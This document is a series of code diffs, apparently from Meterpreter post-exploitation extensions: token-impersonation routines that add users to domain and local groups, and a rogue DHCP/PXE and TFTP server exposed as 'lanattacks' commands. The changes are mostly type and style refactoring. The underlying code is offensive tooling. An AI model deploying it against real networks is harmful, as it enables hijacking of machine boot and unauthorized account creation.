wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], password_u[BUF_SIZE]; wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], password_u[BUF_SIZE];
TOKEN_PRIVS token_privs;
// Read arguments // Read arguments
Packet *response = packet_create_response(packet); Packet *response = packet_create_response(packet);
@ -45,7 +46,7 @@ DWORD request_incognito_add_user(Remote *remote, Packet *packet)
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token)) if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
saved_token = INVALID_HANDLE_VALUE; saved_token = INVALID_HANDLE_VALUE;
token_list = get_token_list(&num_tokens); token_list = get_token_list(&num_tokens, &token_privs);
if (!token_list) if (!token_list)
{ {
sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError()); sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
@ -122,6 +123,7 @@ DWORD request_incognito_add_group_user(Remote *remote, Packet *packet)
HANDLE saved_token; HANDLE saved_token;
wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE]; wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE];
char *dc_netbios_name, *groupname, *username, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = ""; char *dc_netbios_name, *groupname, *username, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
TOKEN_PRIVS token_privs;
// Read arguments // Read arguments
Packet *response = packet_create_response(packet); Packet *response = packet_create_response(packet);
@ -137,7 +139,7 @@ DWORD request_incognito_add_group_user(Remote *remote, Packet *packet)
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token)) if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
saved_token = INVALID_HANDLE_VALUE; saved_token = INVALID_HANDLE_VALUE;
token_list = get_token_list(&num_tokens); token_list = get_token_list(&num_tokens, &token_privs);
if (!token_list) if (!token_list)
{ {
sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError()); sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
@ -218,6 +220,7 @@ DWORD request_incognito_add_localgroup_user(Remote *remote, Packet *packet)
HANDLE saved_token; HANDLE saved_token;
wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE]; wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE];
char *dc_netbios_name, *groupname, *username, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = ""; char *dc_netbios_name, *groupname, *username, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
TOKEN_PRIVS token_privs;
// Read arguments // Read arguments
Packet *response = packet_create_response(packet); Packet *response = packet_create_response(packet);
@ -235,7 +238,7 @@ DWORD request_incognito_add_localgroup_user(Remote *remote, Packet *packet)
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token)) if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
saved_token = INVALID_HANDLE_VALUE; saved_token = INVALID_HANDLE_VALUE;
token_list = get_token_list(&num_tokens); token_list = get_token_list(&num_tokens, &token_privs);
if (!token_list) if (!token_list)
{ {
sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError()); sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());

@ -81,145 +81,210 @@ void TFTPserv::checkRetransmission(map<string,unsigned int> & transfer){
} }
//Gets a request packet, figures out what to do, and does it //Gets a request packet, figures out what to do, and does it
void TFTPserv::dispatchRequest(sockaddr_in &from, string buf){ void TFTPserv::dispatchRequest(sockaddr_in &from, string buf)
{
unsigned short op = ntohs(*((unsigned short*)buf.c_str())); unsigned short op = ntohs(*((unsigned short*)buf.c_str()));
unsigned int currentSpot = 2; size_t currentSpot = 2;
switch (op){
case OpRead:{
currentSpot = buf.find('\x00',2);
if(currentSpot == -1)
return;
string fn(buf.substr(2,currentSpot - 2)); //get filename
if(fileIndexes.count(fn) == 0) //nonexistant file
return;
unsigned int newSpot = buf.find('\x00',currentSpot + 1);
if(newSpot == -1) //invalid packet format
return;
//string mode(buf.substr(currentSpot + 1, newSpot - currentSpot - 1)); //don't really need this
//New transfer! switch (op)
map<string,unsigned int> *transfer = new map<string,unsigned int>(); {
(*transfer)["type"] = OpRead; case OpRead:
(*transfer)["fromIp"] = *((unsigned int *)&from.sin_addr); {
(*transfer)["fromPort"] = from.sin_port; currentSpot = buf.find('\x00',2);
(*transfer)["file"] = fileIndexes[fn]; if (currentSpot == string::npos)
(*transfer)["block"] = 1; {
(*transfer)["blksize"] = 512; return;
(*transfer)["offset"] = 0; }
(*transfer)["timeout"] = 3;
(*transfer)["lastSent"] = 0;
(*transfer)["retries"] = 0;
//process_options
processOptions((struct sockaddr *)&from, sizeof(sockaddr_in), buf, *transfer, newSpot + 1);
transfers.insert(transfer); string fn(buf.substr(2,currentSpot - 2)); //get filename
break; if (fileIndexes.count(fn) == 0) //nonexistant file
} {
case OpAck:{ return;
//Got an ack }
unsigned short block = ntohs(*((unsigned short*)(buf.c_str() + 2)));
map<string,unsigned int> *transfer = NULL; size_t newSpot = buf.find('\x00',currentSpot + 1);
//Find transfer if (newSpot == string::npos) //invalid packet format
for (set<map<string,unsigned int> *>::iterator it = transfers.begin(); it != transfers.end(); ++it) {
if ((*(*it))["fromIp"] == *((unsigned int *)&from.sin_addr) return;
}
//string mode(buf.substr(currentSpot + 1, newSpot - currentSpot - 1)); //don't really need this
//New transfer!
map<string,unsigned int> *transfer = new map<string,unsigned int>();
(*transfer)["type"] = OpRead;
(*transfer)["fromIp"] = *((unsigned int *)&from.sin_addr);
(*transfer)["fromPort"] = from.sin_port;
(*transfer)["file"] = fileIndexes[fn];
(*transfer)["block"] = 1;
(*transfer)["blksize"] = 512;
(*transfer)["offset"] = 0;
(*transfer)["timeout"] = 3;
(*transfer)["lastSent"] = 0;
(*transfer)["retries"] = 0;
//process_options
processOptions((struct sockaddr *)&from, sizeof(sockaddr_in), buf, *transfer, (unsigned int)(newSpot + 1));
transfers.insert(transfer);
break;
}
case OpAck:
{
//Got an ack
unsigned short block = ntohs(*((unsigned short*)(buf.c_str() + 2)));
map<string,unsigned int> *transfer = NULL;
//Find transfer
for (set<map<string, unsigned int> *>::iterator it = transfers.begin(); it != transfers.end(); ++it)
{
if ((*(*it))["fromIp"] == *((unsigned int *)&from.sin_addr)
&& (*(*it))["fromPort"] == from.sin_port && (*(*it))["fromPort"] == from.sin_port
&& (*(*it))["block"] == block) && (*(*it))["block"] == block)
transfer = *it; {
if(transfer == NULL) transfer = *it;
return; }
(*transfer)["offset"] = (*transfer)["offset"] + (*transfer)["blksize"]; }
(*transfer)["block"] = (*transfer)["block"] + 1;
(*transfer)["lastSent"] = 0; if (transfer == NULL)
(*transfer)["retries"] = 0; {
if ((*transfer)["offset"] <= files[(*transfer)["file"]].length()) return;
return; //not complete }
transfers.erase(transfer); // we're done!
delete transfer; (*transfer)["offset"] = (*transfer)["offset"] + (*transfer)["blksize"];
} (*transfer)["block"] = (*transfer)["block"] + 1;
(*transfer)["lastSent"] = 0;
(*transfer)["retries"] = 0;
if ((*transfer)["offset"] <= files[(*transfer)["file"]].length())
{
return; //not complete
}
transfers.erase(transfer); // we're done!
delete transfer;
}
} }
} }
// Extracts an int option in ascii form; if in range saves it and appends an option ack to replyPacket // Extracts an int option in ascii form; if in range saves it and appends an option ack to replyPacket
void TFTPserv::checkIntOption(const char * optName, int min, int max, string & opt, string & val, map<string,unsigned int> & transfer, string & replyPacket){ void TFTPserv::checkIntOption(const char * optName, int min, int max, string & opt, string & val, map<string, unsigned int> & transfer, string & replyPacket)
{
if (opt.compare(optName) != 0) if (opt.compare(optName) != 0)
{
return; return;
}
//convert ascii to integer value //convert ascii to integer value
int intval = 0; int intval = 0;
for(unsigned int i = 0; i < val.length(); i++) for (unsigned int i = 0; i < val.length(); i++)
if(val[i] >= '0' && val[i] <= '9') {
if (val[i] >= '0' && val[i] <= '9')
{
intval = intval * 10 + val[i] - '0'; intval = intval * 10 + val[i] - '0';
}
}
//Validate it //Validate it
if (intval > max) if (intval > max)
{
intval = max; intval = max;
}
if (intval < min) if (intval < min)
{
intval = min; intval = min;
}
//Save it //Save it
transfer[optName] = intval; transfer[optName] = intval;
//append ack //append ack
replyPacket.append(opt).append(1,(char)0).append(val).append(1,(char)0); replyPacket.append(opt).append(1, (char)0).append(val).append(1, (char)0);
} }
//Parses all options from received packet //Parses all options from received packet
void TFTPserv::processOptions(struct sockaddr * from, unsigned int fromlen, string buf, map<string,unsigned int> & transfer, unsigned int spot){ void TFTPserv::processOptions(struct sockaddr * from, unsigned int fromlen, string buf, map<string, unsigned int> & transfer, unsigned int spot)
{
//Start with optack (two byte) //Start with optack (two byte)
string data = htonstring(OpOptAck); string data = htonstring(OpOptAck);
//Loop over options //Loop over options
unsigned int currentSpot = spot; size_t currentSpot = spot;
while (currentSpot < buf.length() - 4){ while (currentSpot < buf.length() - 4)
{
//Get option //Get option
unsigned int nextSpot = buf.find('\x00',currentSpot); size_t nextSpot = buf.find('\x00', currentSpot);
if(nextSpot == -1)
if (nextSpot == string::npos)
{
return; return;
}
string opt(buf.substr(currentSpot, nextSpot - currentSpot)); string opt(buf.substr(currentSpot, nextSpot - currentSpot));
//Get value //Get value
currentSpot = nextSpot + 1; currentSpot = nextSpot + 1;
nextSpot = buf.find('\x00',currentSpot); nextSpot = buf.find('\x00', currentSpot);
if(nextSpot == -1)
if (nextSpot == string::npos)
{
return; return;
}
string val(buf.substr(currentSpot, nextSpot - currentSpot)); string val(buf.substr(currentSpot, nextSpot - currentSpot));
currentSpot = nextSpot + 1; currentSpot = nextSpot + 1;
for (string::iterator it=opt.begin() ; it < opt.end(); it++ ) for (string::iterator it = opt.begin(); it < opt.end(); it++)
*it = tolower(*it); *it = tolower(*it);
checkIntOption("blksize",8,65464,opt,val,transfer,data); checkIntOption("blksize", 8, 65464, opt, val, transfer, data);
checkIntOption("timeout",1,255,opt,val,transfer,data); checkIntOption("timeout", 1, 255, opt, val, transfer, data);
if (opt.compare("tsize") == 0){ if (opt.compare("tsize") == 0)
{
//get length //get length
unsigned int flen = files[transfer["file"]].length(); size_t flen = files[transfer["file"]].length();
//convert to ascii //convert to ascii
string strlen; string strlen;
while(flen > 0){ while (flen > 0)
strlen.insert(0,1,(char)((flen % 10) + '0')); {
strlen.insert(0, 1, (char)((flen % 10) + '0'));
flen = flen / 10; flen = flen / 10;
} }
data.append(opt).append(1,(char)0).append(strlen).append(1,(char)0);
data.append(opt).append(1, (char)0).append(strlen).append(1, (char)0);
} }
} }
//Send packet //Send packet
sendto(smellySock, data.c_str(), data.length(), 0, from, fromlen); sendto(smellySock, data.c_str(), (int)data.length(), 0, from, (int)fromlen);
} }
// Asks server to stop // Asks server to stop
int TFTPserv::stop(){ int TFTPserv::stop()
{
shuttingDown = true; shuttingDown = true;
DWORD res = 0xffffffff; DWORD res = 0xffffffff;
if(thread != NULL)
if (thread != NULL)
{
res = WaitForSingleObject(thread, 5000); res = WaitForSingleObject(thread, 5000);
}
thread = NULL; thread = NULL;
return res; return res;
} }
// Method to pass to CreateThread // Method to pass to CreateThread
DWORD WINAPI runTFTPServer(void* server){ DWORD WINAPI runTFTPServer(void* server)
{
return ((TFTPserv*)server)->run(); return ((TFTPserv*)server)->run();
} }
// Starts server // Starts server
int TFTPserv::start(){ int TFTPserv::start()
{
//get socket //get socket
smellySock = socket(AF_INET, SOCK_DGRAM, 0); smellySock = socket(AF_INET, SOCK_DGRAM, 0);
if (smellySock == -1)
return -1; // -1=INVALID_SOCKET if (smellySock == INVALID_SOCKET)
{
return -1;
}
//Se up server socket address //Se up server socket address
struct sockaddr_in server; struct sockaddr_in server;
@ -229,16 +294,23 @@ int TFTPserv::start(){
// Bind address to socket // Bind address to socket
if (bind(smellySock, (struct sockaddr *)&server, sizeof(server)) != 0) if (bind(smellySock, (struct sockaddr *)&server, sizeof(server)) != 0)
{
return GetLastError(); return GetLastError();
}
thread = CreateThread(NULL,0,&runTFTPServer,this,0,NULL); thread = CreateThread(NULL, 0, &runTFTPServer, this, 0, NULL);
if(thread != NULL)
if (thread != NULL)
{
return ERROR_SUCCESS; return ERROR_SUCCESS;
}
return GetLastError(); return GetLastError();
} }
//Internal run method that does all the hard work //Internal run method that does all the hard work
int TFTPserv::run(){ int TFTPserv::run()
{
// Setup timeout // Setup timeout
fd_set recvSet; fd_set recvSet;
fd_set sendSet; fd_set sendSet;
@ -250,53 +322,73 @@ int TFTPserv::run(){
FD_ZERO(&recvSet); FD_ZERO(&recvSet);
FD_SET(smellySock, &recvSet); FD_SET(smellySock, &recvSet);
FD_ZERO(&sendSet); FD_ZERO(&sendSet);
//Do we need to check for sent items? Let's see //Do we need to check for sent items? Let's see
for (set<map<string,unsigned int> *>::iterator it = transfers.begin(); it != transfers.end(); ++it){ for (set<map<string, unsigned int> *>::iterator it = transfers.begin(); it != transfers.end(); ++it){
if((*(*it))["lastSent"] != 0){ if ((*(*it))["lastSent"] != 0){
FD_SET(smellySock, &recvSet); FD_SET(smellySock, &recvSet);
break; break;
} }
} }
struct timeval tv; struct timeval tv;
tv.tv_sec = 1; tv.tv_sec = 1;
tv.tv_usec = 0; tv.tv_usec = 0;
n = select ( smellySock+1, &recvSet, &sendSet, NULL, &tv ); n = select((int)(smellySock + 1), &recvSet, &sendSet, NULL, &tv);
if( n == -1 )
if (n == -1)
{
break; //Error break; //Error
}
//Get request //Get request
char receiveBuf[bufferSize]; char receiveBuf[bufferSize];
struct sockaddr client; struct sockaddr client;
int clientLength = sizeof(client); int clientLength = sizeof(client);
int receiveSize = 0; int receiveSize = 0;
if ( n != 0)
if (n != 0)
{
receiveSize = recvfrom(smellySock, receiveBuf, bufferSize, 0, &client, &clientLength); receiveSize = recvfrom(smellySock, receiveBuf, bufferSize, 0, &client, &clientLength);
if (receiveSize > 0){
string data(receiveBuf, receiveSize);
dispatchRequest(*((sockaddr_in *)&client),data);
} }
if (receiveSize > 0)
{
string data(receiveBuf, receiveSize);
dispatchRequest(*((sockaddr_in *)&client), data);
}
//Now see if we need to transmit/retransmit another block //Now see if we need to transmit/retransmit another block
for (set<map<string,unsigned int> *>::iterator it = transfers.begin(); it != transfers.end(); ++it){ for (set<map<string, unsigned int> *>::iterator it = transfers.begin(); it != transfers.end(); ++it)
{
map<string, unsigned int> & transfer = *(*it); map<string, unsigned int> & transfer = *(*it);
if(transfer["type"] != OpRead) if (transfer["type"] != OpRead)
{
continue; continue;
if(transfer["lastSent"] != 0){ }
if (transfer["lastSent"] != 0)
{
checkRetransmission(transfer); checkRetransmission(transfer);
}else{ }
string block = files[transfer["file"]].substr(transfer["offset"],transfer["blksize"]); else
if (block.size() > 0){ {
string block = files[transfer["file"]].substr(transfer["offset"], transfer["blksize"]);
if (block.size() > 0)
{
string packet(htonstring(OpData)); string packet(htonstring(OpData));
packet.append(htonstring( transfer["block"] )); packet.append(htonstring(transfer["block"]));
packet.append(block); packet.append(block);
//Send packet //Send packet
//first get address //first get address
sockaddr_in client; sockaddr_in client;
memset((void*)&client,0,sizeof(client)); memset((void*)&client, 0, sizeof(client));
client.sin_family = AF_INET; client.sin_family = AF_INET;
*((unsigned int *)&client.sin_addr) = transfer["fromIp"]; *((unsigned int *)&client.sin_addr) = transfer["fromIp"];
client.sin_port = (unsigned short)transfer["fromPort"]; client.sin_port = (unsigned short)transfer["fromPort"];
//whew. now send //whew. now send
sendto(smellySock, packet.c_str(), packet.size(), 0, (sockaddr*)&client, sizeof(sockaddr_in)); sendto(smellySock, packet.c_str(), (int)packet.size(), 0, (sockaddr*)&client, (int)sizeof(sockaddr_in));
transfer["lastSent"] = clock() / CLOCKS_PER_SEC; transfer["lastSent"] = clock() / CLOCKS_PER_SEC;
} }
} }

@ -42,7 +42,7 @@ public:
private: private:
bool shuttingDown; bool shuttingDown;
void* thread; void* thread;
int smellySock; SOCKET smellySock;
unsigned int index; unsigned int index;
map<string,unsigned int> fileIndexes; map<string,unsigned int> fileIndexes;
map<unsigned int,string> files; map<unsigned int,string> files;

@ -42,7 +42,7 @@ void setDHCPOption(void * server, char* name, unsigned int namelen, char* opt, u
// Gets the DHCP log // Gets the DHCP log
unsigned char * getDHCPLog(void * server, unsigned long * size){ unsigned char * getDHCPLog(void * server, unsigned long * size){
string * log = ((DHCPserv*)server)->getLog(); string * log = ((DHCPserv*)server)->getLog();
*size = log->size(); *size = (unsigned long)log->size();
unsigned char* res = (unsigned char*)malloc(*size); unsigned char* res = (unsigned char*)malloc(*size);
memcpy(res, log->data(), *size); memcpy(res, log->data(), *size);
log->clear(); log->clear();
@ -53,9 +53,11 @@ unsigned char * getDHCPLog(void * server, unsigned long * size){
//Gets IP of default interface, or at least default interface to 8.8.8.8 //Gets IP of default interface, or at least default interface to 8.8.8.8
unsigned int getLocalIp(){ unsigned int getLocalIp(){
//get socket //get socket
int smellySock = socket(AF_INET, SOCK_DGRAM, 0); SOCKET smellySock = socket(AF_INET, SOCK_DGRAM, 0);
if (smellySock == -1) if (smellySock == INVALID_SOCKET)
return 0; // -1=INVALID_SOCKET {
return 0;
}
//Se up server socket address //Se up server socket address
struct sockaddr_in server; struct sockaddr_in server;
@ -114,20 +116,24 @@ int DHCPserv::stop(){
} }
// Method to pass to CreateThread // Method to pass to CreateThread
DWORD WINAPI runDHCPServer(void* server){ DWORD WINAPI runDHCPServer(void* server)
{
return ((DHCPserv*)server)->run(); return ((DHCPserv*)server)->run();
} }
// Starts server // Starts server
int DHCPserv::start(){ int DHCPserv::start()
{
//reset log //reset log
log.clear(); log.clear();
//get socket //get socket
smellySock = socket(AF_INET, SOCK_DGRAM, 0); smellySock = socket(AF_INET, SOCK_DGRAM, 0);
if (smellySock == -1) if (smellySock == INVALID_SOCKET)
return invalidSocket; // -1=INVALID_SOCKET {
return invalidSocket;
}
//Se up server socket address //Se up server socket address
struct sockaddr_in server; struct sockaddr_in server;
server.sin_family = AF_INET; server.sin_family = AF_INET;
@ -136,43 +142,66 @@ int DHCPserv::start(){
// Get local IP // Get local IP
string hoststr("SRVHOST"); string hoststr("SRVHOST");
if(options.count(hoststr) > 0){ if (options.count(hoststr) > 0)
{
myIp = ntohl(inet_addr(options[string(hoststr)].c_str())); myIp = ntohl(inet_addr(options[string(hoststr)].c_str()));
server.sin_addr.s_addr = htonl(myIp); server.sin_addr.s_addr = htonl(myIp);
}else{ }
else
{
myIp = getLocalIp(); myIp = getLocalIp();
} }
if(myIp == 0 || myIp == 0xffffffff)
if (myIp == 0 || myIp == 0xffffffff)
{
return ipError; return ipError;
}
// Bind address to socket // Bind address to socket
if (bind(smellySock, (struct sockaddr *)&server, sizeof(server)) != 0) if (bind(smellySock, (struct sockaddr *)&server, sizeof(server)) != 0)
{
return bindError; return bindError;
}
// Now run it! // Now run it!
thread = CreateThread(NULL,0,&runDHCPServer,this,0,NULL); thread = CreateThread(NULL, 0, &runDHCPServer, this, 0, NULL);
if(thread != NULL) if (thread != NULL)
{
return ERROR_SUCCESS; return ERROR_SUCCESS;
}
return GetLastError(); return GetLastError();
} }
// Determines whether ip option should be updated based on option name // Determines whether ip option should be updated based on option name
void DHCPserv::ipOptionCheck(unsigned int * defaultOption, char * option){ void DHCPserv::ipOptionCheck(unsigned int * defaultOption, char * option)
{
string s(option); string s(option);
if(options.count(s) > 0)
if (options.count(s) > 0)
{
(*defaultOption) = ntohl(inet_addr(options[s].c_str())); (*defaultOption) = ntohl(inet_addr(options[s].c_str()));
}
} }
// Determines whether string option should be updated based on option name // Determines whether string option should be updated based on option name
void DHCPserv::stringOptionCheck(string * defaultOption, char * option){ void DHCPserv::stringOptionCheck(string * defaultOption, char * option)
{
string s(option); string s(option);
if(options.count(s) > 0) if (options.count(s) > 0)
{
(*defaultOption) = options[s]; (*defaultOption) = options[s];
}
} }
//Internal run method that does all the hard work //Internal run method that does all the hard work
int DHCPserv::run(){ int DHCPserv::run()
{
//All IP-related options are in host byte order //All IP-related options are in host byte order
//get SRVHOST //get SRVHOST
if(myIp == 0) if (myIp == 0)
{
return localIpError; //No default route? return localIpError; //No default route?
}
string ipString = iton(myIp); string ipString = iton(myIp);
//get DHCPIPSTART //get DHCPIPSTART
@ -203,14 +232,19 @@ int DHCPserv::run(){
//get SERVEONCE //get SERVEONCE
bool serveOnce = true; bool serveOnce = true;
string soncestr("SERVEONCE"); string soncestr("SERVEONCE");
if(options.count(soncestr) > 0) if (options.count(soncestr) > 0)
{
serveOnce = atoi(options[soncestr].c_str()) != 0 || (options[soncestr].at(0) | 0x20) == 't'; serveOnce = atoi(options[soncestr].c_str()) != 0 || (options[soncestr].at(0) | 0x20) == 't';
}
//get PXE //get PXE
bool servePXE = true; bool servePXE = true;
string pxestring("PXE"); string pxestring("PXE");
if(options.count(pxestring) > 0)
if (options.count(pxestring) > 0)
{
servePXE = atoi(options[pxestring].c_str()) != 0 || (options[pxestring].at(0) | 0x20) == 't'; servePXE = atoi(options[pxestring].c_str()) != 0 || (options[pxestring].at(0) | 0x20) == 't';
}
//get HOSTNAME //get HOSTNAME
string hostname; //hostname to give out string hostname; //hostname to give out
@ -246,8 +280,11 @@ int DHCPserv::run(){
broadcastAddr.sin_port = htons(68); broadcastAddr.sin_port = htons(68);
broadcastAddr.sin_addr.s_addr = htonl(broadcast); //a.k.a. inet_addr("255.255.255.255") broadcastAddr.sin_addr.s_addr = htonl(broadcast); //a.k.a. inet_addr("255.255.255.255")
int value = 1; int value = 1;
if(setsockopt(smellySock, SOL_SOCKET, SO_BROADCAST, (char*)&value, sizeof(value)) != 0)
if (setsockopt(smellySock, SOL_SOCKET, SO_BROADCAST, (char*)&value, sizeof(value)) != 0)
{
return setsockoptError; return setsockoptError;
}
// Setup timeout // Setup timeout
fd_set sockSet; fd_set sockSet;
@ -260,18 +297,28 @@ int DHCPserv::run(){
set<string> served; set<string> served;
//Main packet-handling loop //Main packet-handling loop
while (true){ while (true)
{
//Wait for request //Wait for request
FD_ZERO(&sockSet); FD_ZERO(&sockSet);
FD_SET(smellySock, &sockSet); FD_SET(smellySock, &sockSet);
n = select ( 1, &sockSet, NULL, NULL, &tv ) ; n = select(1, &sockSet, NULL, NULL, &tv);
if ( n == 0) //Timeout
if(!shuttingDown) if (n == 0) //Timeout
{
if (!shuttingDown)
{
continue; continue;
}
else //we're done! else //we're done!
{
break; break;
else if( n == -1 ) }
}
else if (n == -1)
{
break; //Error break; //Error
}
//Get request //Get request
char receiveBuf[bufferSize]; char receiveBuf[bufferSize];
@ -297,30 +344,42 @@ int DHCPserv::run(){
string filename = receivedPacket.substr(108,128); string filename = receivedPacket.substr(108,128);
string magic = receivedPacket.substr(236,4); string magic = receivedPacket.substr(236,4);
if(type != Request || magic.compare(DHCPMagic) != 0) if (type != Request || magic.compare(DHCPMagic) != 0)
{
continue; //Verify DHCP request continue; //Verify DHCP request
}
unsigned char messageType = 0; unsigned char messageType = 0;
bool pxeclient = false; bool pxeclient = false;
// options parsing loop // options parsing loop
unsigned int spot = 240; unsigned int spot = 240;
while (spot < receivedPacket.length() - 3){ while (spot < receivedPacket.length() - 3)
{
unsigned char optionType = receivedPacket.at(spot); unsigned char optionType = receivedPacket.at(spot);
if (optionType == 0xff) if (optionType == 0xff)
{
break; break;
}
unsigned char optionLen = receivedPacket.at(spot + 1); unsigned char optionLen = receivedPacket.at(spot + 1);
string optionValue = receivedPacket.substr(spot + 2, optionLen); string optionValue = receivedPacket.substr(spot + 2, optionLen);
spot = spot + optionLen + 2; spot = spot + optionLen + 2;
if(optionType == 53)
if (optionType == 53)
{
messageType = optionValue.at(0); messageType = optionValue.at(0);
}
else if (optionType == 150) else if (optionType == 150)
{
pxeclient = true; pxeclient = true;
}
} }
if (pxeclient == false && servePXE == true) if (pxeclient == false && servePXE == true)
{
continue;//No tftp server request; ignoring (probably not PXE client) continue;//No tftp server request; ignoring (probably not PXE client)
}
// prepare response // prepare response
ostringstream pkt; ostringstream pkt;
@ -329,11 +388,14 @@ int DHCPserv::run(){
string elaspedFlags("\x00\x00\x00\x00",4); //elapsed, flags string elaspedFlags("\x00\x00\x00\x00",4); //elapsed, flags
pkt << elaspedFlags; pkt << elaspedFlags;
pkt << clientip; pkt << clientip;
if (messageType == DHCPDiscover){ if (messageType == DHCPDiscover)
{
// give next ip address (not super reliable high volume but it should work for a basic server) // give next ip address (not super reliable high volume but it should work for a basic server)
currentIp += 1; currentIp += 1;
if (currentIp > endIp) if (currentIp > endIp)
{
currentIp = startIp; currentIp = startIp;
}
} }
pkt << iton(currentIp); pkt << iton(currentIp);
@ -345,16 +407,21 @@ int DHCPserv::run(){
pkt << DHCPMagic; pkt << DHCPMagic;
pkt << "\x35\x01"; //Option pkt << "\x35\x01"; //Option
if (messageType == DHCPDiscover){ //DHCP Discover - send DHCP Offer if (messageType == DHCPDiscover)
{ //DHCP Discover - send DHCP Offer
pkt << DHCPOffer; pkt << DHCPOffer;
}
}else if (messageType == DHCPRequest){ //DHCP Request - send DHCP ACK else if (messageType == DHCPRequest)
{ //DHCP Request - send DHCP ACK
pkt << DHCPAck; pkt << DHCPAck;
if ( servedOver != 0 ) // NOTE: this is sufficient for low-traffic net if (servedOver != 0) // NOTE: this is sufficient for low-traffic net
{
servedOver += 1; servedOver += 1;
}
}else{ }
else
{
continue; //ignore unknown DHCP request continue; //ignore unknown DHCP request
} }
@ -368,22 +435,31 @@ int DHCPserv::run(){
pkt << dhcpoption(OpPXEMagic, pxemagic); pkt << dhcpoption(OpPXEMagic, pxemagic);
// check if already served based on hw addr (MAC address) // check if already served based on hw addr (MAC address)
if (serveOnce == true && served.count(clienthwaddr) > 0){ if (serveOnce == true && served.count(clienthwaddr) > 0)
{
pkt << dhcpoption(OpPXEConfigFile, pxeAltConfigFile); //Already served; allowing normal boot pkt << dhcpoption(OpPXEConfigFile, pxeAltConfigFile); //Already served; allowing normal boot
}else{ }
else
{
pkt << dhcpoption(OpPXEConfigFile, pxeConfigFile); pkt << dhcpoption(OpPXEConfigFile, pxeConfigFile);
if (messageType == DHCPRequest){ if (messageType == DHCPRequest)
{
log.append(clienthwaddr); log.append(clienthwaddr);
log.append(iton(currentIp)); log.append(iton(currentIp));
} }
} }
pkt << dhcpoption(OpPXEPathPrefix, pxePathPrefix); pkt << dhcpoption(OpPXEPathPrefix, pxePathPrefix);
pkt << dhcpoption(OpPXERebootTime, iton(pxeRebootTime)); pkt << dhcpoption(OpPXERebootTime, iton(pxeRebootTime));
if ( hostname.length() > 0 ){
if ( hostname.length() > 0 )
{
ostringstream sendHostname; ostringstream sendHostname;
sendHostname << hostname; sendHostname << hostname;
if ( servedOver != 0 ) if (servedOver != 0)
{
sendHostname << servedOver; sendHostname << servedOver;
}
pkt << dhcpoption(OpHostname, sendHostname.str()); pkt << dhcpoption(OpHostname, sendHostname.str());
} }
@ -393,12 +469,17 @@ int DHCPserv::run(){
// now mark as served. We will then ignore their discovers // now mark as served. We will then ignore their discovers
//(but we'll respond to requests in case a packet was lost) //(but we'll respond to requests in case a packet was lost)
if (messageType == DHCPRequest) if (messageType == DHCPRequest)
{
served.insert(clienthwaddr); served.insert(clienthwaddr);
}
//Send response //Send response
unsigned int sent = sendto(smellySock, sendPacket.c_str(), sendPacket.length(), 0, (struct sockaddr*)&broadcastAddr, sizeof(broadcastAddr)); int sent = sendto(smellySock, sendPacket.c_str(), (int)sendPacket.length(), 0, (struct sockaddr*)&broadcastAddr, (int)sizeof(broadcastAddr));
if (sent != sendPacket.length())
if (sent != (int)sendPacket.length())
{
break; //Error break; //Error
}
} }
#ifdef WIN32 #ifdef WIN32
closesocket(smellySock); closesocket(smellySock);

@ -56,7 +56,7 @@ public:
private: private:
bool shuttingDown; bool shuttingDown;
void* thread; void* thread;
int smellySock; SOCKET smellySock;
unsigned int myIp; unsigned int myIp;
map<string,string> options; map<string,string> options;
string log; string log;

@ -142,90 +142,34 @@ DWORD request_lanattacks_stop_tftp(Remote *remote, Packet *packet){
} }
Command customCommands[] = Command customCommands[] =
{ {
// Launch DHCP server COMMAND_REQ( "lanattacks_start_dhcp", request_lanattacks_start_dhcp ),
{ "lanattacks_start_dhcp", COMMAND_REQ( "lanattacks_reset_dhcp", request_lanattacks_reset_dhcp ),
{ request_lanattacks_start_dhcp, { 0 }, 0 }, COMMAND_REQ( "lanattacks_set_dhcp_option", request_lanattacks_set_dhcp_option ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "lanattacks_stop_dhcp", request_lanattacks_stop_dhcp ),
}, COMMAND_REQ( "lanattacks_dhcp_log", request_lanattacks_dhcp_log ),
COMMAND_REQ( "lanattacks_start_tftp", request_lanattacks_start_tftp ),
// Reset DHCP COMMAND_REQ( "lanattacks_reset_tftp", request_lanattacks_stop_tftp ),
{ "lanattacks_reset_dhcp", COMMAND_REQ( "lanattacks_add_tftp_file", request_lanattacks_add_tftp_file ),
{ request_lanattacks_reset_dhcp, { 0 }, 0 }, COMMAND_REQ( "lanattacks_stop_tftp", request_lanattacks_stop_tftp ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_TERMINATOR
},
// Set DHCP Option
{ "lanattacks_set_dhcp_option",
{ request_lanattacks_set_dhcp_option, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Stop DHCP
{ "lanattacks_stop_dhcp",
{ request_lanattacks_stop_dhcp, { 0 }, 0 },
